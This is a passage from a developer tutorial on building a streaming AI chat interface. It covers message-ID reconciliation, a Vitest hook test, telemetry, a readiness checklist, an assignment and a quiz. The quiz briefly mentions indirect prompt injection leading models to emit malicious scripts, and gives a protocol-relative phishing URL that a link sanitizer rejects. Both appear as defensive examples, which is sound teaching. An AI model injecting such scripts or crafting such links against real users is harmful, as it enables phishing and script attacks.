    citations_payload JSONB DEFAULT '[]'::jsonb,
    tool_activities_payload JSONB DEFAULT '[]'::jsonb,
    token_usage_prompt INT DEFAULT 0,
    token_usage_completion INT DEFAULT 0,
    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
    CONSTRAINT uq_conversation_sequence UNIQUE (conversation_id, sequence_number)
);

CREATE INDEX idx_messages_conversation 
    ON conversation_messages (conversation_id, sequence_number ASC);

The composite unique constraint on (conversation_id, sequence_number) guarantees absolute chronological determinism even under concurrent retries or duplicate network transmissions.

18 Client ID vs. Server ID Reconciliation Handshake

To preserve zero-latency perceived responsiveness, the client mounts an optimistic message bubble backed by a client-generated crypto.randomUUID() the instant the user presses Enter.

However, the backend authoritative database generates the canonical persistence UUID. How is this transition executed cleanly?

Client Generates Temporary UUID (temp_msg_01) ↓ Frontend Mounts Optimistic User & Assistant Bubbles ↓ Backend Commits Message to PostgreSQL (canonical_msg_99) ↓ SSE 'completed' Event Dispatches: {"message_id": "canonical_msg_99"} ↓ Frontend Reconciles State: temp_msg_01 → canonical_msg_99
Reconciliation Invariant: If the client fails to overwrite optimistic ephemeral IDs with authoritative server identifiers, subsequent actions (message likes, citations audit, branch conversations) crash upon browser reload due to cache key desynchronization.

19 Part M: Automated Testing Pyramid — Unit, Integration & Playwright E2E

Testing real-time AI user interfaces differs fundamentally from traditional static forms, as tests must orchestrate asynchronous streaming sockets and state transitions:

1. Unit Testing

Verifying consumeSSE() reassembles fragmented chunks across boundaries and safeCitationHref() neutralizes malicious schemes.

2. Integration Testing (MSW)

Employing Mock Service Worker (MSW) to stream synthetic SSE events, validating useChat() token appending and abort signals.

3. End-to-End Testing (Playwright)

Validating the complete journey in a live headless browser: prompt entry → streaming token rendering → citation click → reload persistence.

A representative integration test using Vitest and React Testing Library:


// src/features/chat/__tests__/useChat.test.ts
import { renderHook, act } from "@testing-library/react";
import { describe, it, expect, vi } from "vitest";
import { useChat } from "../hooks/useChat";

describe("useChat Hook Integration", () => {
  it("should mount optimistic user message and stream tokens into assistant content", async () => {
    // Mock streaming response body emitting SSE frames
    const encoder = new TextEncoder();
    const stream = new ReadableStream({
      start(controller) {
        controller.enqueue(encoder.encode('event: token\ndata: {"text":"Byteion"}\n\n'));
        controller.enqueue(encoder.encode('event: token\ndata: {"text":" AI"}\n\n'));
        controller.enqueue(encoder.encode('event: completed\ndata: {"message_id":"1"}\n\n'));
        controller.close();
      },
    });

    vi.spyOn(global, "fetch").mockResolvedValueOnce(
      new Response(stream, {
        status: 200,
        headers: { "Content-Type": "text/event-stream" },
      }),
    );

    const { result } = renderHook(() => useChat("mock_token"));

    await act(async () => {
      result.current.sendMessage("Hello Byteion");
    });

    expect(result.current.messages).toHaveLength(2);
    expect(result.current.messages[0].role).toBe("user");
    expect(result.current.messages[0].content).toBe("Hello Byteion");
    expect(result.current.messages[1].role).toBe("assistant");
    expect(result.current.messages[1].content).toBe("Byteion AI");
    expect(result.current.messages[1].status).toBe("complete");
    expect(result.current.status).toBe("idle");
  });
});

20 Observability & Real-Time Client Telemetry

Evaluating frontend performance in streaming interfaces requires instrumentation across four golden metrics shipped to Sentry or Datadog:

1. Time to First Token (TTFT)

Elapsed duration between form submission and the initial paint of streamed text on screen (Target: < 1.5s).

2. Client Abort Ratio (CAR)

Percentage of total generation sessions terminated manually via Stop button (Spikes indicate off-target or hallucinated output).

3. Stream Interruption Rate (SIR)

Incidence of socket drops occurring prior to explicit completed frames (Isolates network proxy and timeout drops).

4. Citation Interaction Rate (CIR)

Proportion of users actively clicking grounded provenance links to audit source PDFs (Measures audit trust engagement).

21 12-Point Enterprise Production Readiness Checklist

Audit these 12 critical verification points before releasing an AI chat interface to enterprise tenants:

✓ 01 Are network TCP packet fragments reassembled across boundaries using eventsource-parser?
✓ 02 Does clicking “Stop Generating” immediately invoke AbortController.abort()?
✓ 03 Is the user's drafted query preserved in the composer if the network request fails?
✓ 04 Are all citation hyperlinks defensively sanitized with safeCitationHref()?
✓ 05 Is raw dangerouslySetInnerHTML strictly forbidden across all model outputs?
✓ 06 Are internal SQL statements and privileged credentials scrubbed from tool execution badges?
✓ 07 Is screen reader chatter prevented using isolated sr-only polite live regions?
✓ 08 Does composer keyboard handling guard against IME composition via isComposing?
✓ 09 Are fabricated percentage progress bars replaced by deterministic semantic stage badges?
✓ 10 Does auto-scrolling disengage smoothly when users scroll upward to inspect earlier turns?
✓ 11 Are optimistic client message IDs reconciled with server IDs upon completed frames?
✓ 12 Does conversation history cleanly restore from PostgreSQL upon browser page reloads?

22 Part N: Hands-on Assignment — Byteion AI Knowledge Assistant UI

Consolidate all architectural paradigms learned in this lesson to construct a production-ready AI interface:

14-Item Implementation Checklist:
  • 1. Define complete domain contracts in src/features/chat/types.ts.
  • 2. Implement byte-level chunk reassembly in src/features/chat/lib/stream.ts with consumeSSE.
  • 3. Process token, tool_status, citation, completed, and error inside useChat().
  • 4. Guard against concurrent duplicate submissions via controllerRef.
  • 5. Interrupt live socket streams cleanly using stopGeneration().
  • 6. Prune failed assistant bubbles cleanly on retryLastMessage() without duplicating user questions.
  • 7. Neutralize XSS vectors in external links using safeCitationHref().
  • 8. Render multi-stage agent execution badges (running/completed/failed).
  • 9. Surface grounded source cards with verified document titles and excerpts.
  • 10. Support Enter to submit and Shift+Enter for new line in chat composer.
  • 11. Test event.nativeEvent.isComposing to protect multi-character phonetic input.
  • 12. Announce milestone transitions to screen readers using polite sr-only live regions.
  • 13. Add smart auto-scroll disabling when the user inspects previous conversation history.
  • 14. Enforce (conversation_id, sequence_number) unique constraints in PostgreSQL persistence.

23 Interactive Studio Lab: AI Interface Engineering Studio

Experiment with finite state machine lifecycles, live token streaming, abort cancellations, and defensive citation XSS sanitization in the live workbench:

Select a scenario above and click “Start Stream” to begin simulation.
Status: idle Tokens: 0 TTFT: --

24 Knowledge Check: 10 Scenario-Based Questions & Solutions

Validate your mastery of production AI interface architecture and resilient state orchestration:

Question 1: Why is separating global ChatStatus from granular MessageStatus mandatory in production?

Rationale: The overall conversation can return to idle while a previous assistant response remains in a terminal failed state requiring isolated contextual retry affordances.

Question 2: Why must an incoming TCP network chunk never be treated as an authoritative SSE wire event?

Rationale: TCP is a stream protocol. Invoking JSON.parse() on partial frames throws syntax exceptions unless reassembled across boundaries.

Question 3: What vulnerability arises from rendering LLM markdown output directly via dangerouslySetInnerHTML?

Rationale: Indirect prompt injection can coax models into outputting malicious JavaScript tags. Defensive markdown sanitization is mandatory.

Question 4: Does the mere presence of citation hyperlinks in an AI response prove the factual claim is grounded?

Rationale: Generative models routinely fabricate realistic citations. Grounding integrity requires linking strictly to retrieved database documents.

Question 5: When a user hits “Stop Generating”, whose architectural responsibility is it to halt backend inference?

Rationale: Simply detaching client render loops does not halt provider billing meters. The backend must propagate client socket drops to provider cancellation endpoints.

Question 6: What catastrophic failure occurs if conversation history is stored exclusively in client-side React memory?

Rationale: Enterprise audit compliance and multi-device continuity mandate durable server-side PostgreSQL persistence.

Question 7: Why is announcing every streamed token to screen readers a critical accessibility anti-pattern?

Rationale: Transcripts must use aria-live="off", delegating status updates to a dedicated polite sr-only region announcing milestones only.

Question 8: Why must chat composers test event.nativeEvent.isComposing during keyboard handling?

Rationale: Multi-character input method editors (IMEs) use Enter to select character glyphs; checking isComposing suppresses false form submissions.

Question 9: Why does safeCitationHref() specifically block URLs beginning with //?

Rationale: Attackers bypass naive relative path checks using //malicious-phishing.com; rejecting protocol-relative URLs is mandatory.

Question 10: What is the optimal scroll behavior when a user scrolls up to review history during active token streaming?

Rationale: Forcibly yanking viewports away from reading users destroys interface ergonomics. Auto-scroll should activate only when users are already anchored at the bottom.

25 Lesson Summary & Next Steps

In this lesson, we mastered how to elevate an ephemeral chat box into an enterprise-grade, resilient, and accessible AI interface.

1. Granular Lifecycle Management: Moving beyond binary loading indicators to orchestrate streaming, complete, interrupted, failed, and cancelled states.
2. Defensive Stream Parsing: Neutralizing TCP chunk boundaries via eventsource-parser and sanitizing malicious URLs with safeCitationHref().
3. Human-Centric UX & a11y: Pairing smart auto-scroll, prompt draft preservation, dual screen reader regions, and PostgreSQL persistence reconciliation.
Next Lesson

Lesson 16.31: Multi-Tenant AI SaaS Security & Access Control

In the upcoming lesson, we explore how to architect multi-tenant SaaS platforms ensuring one customer's private data never leaks into another tenant's vector search, conversation context, or agent tool executions.

Start Lesson 16.31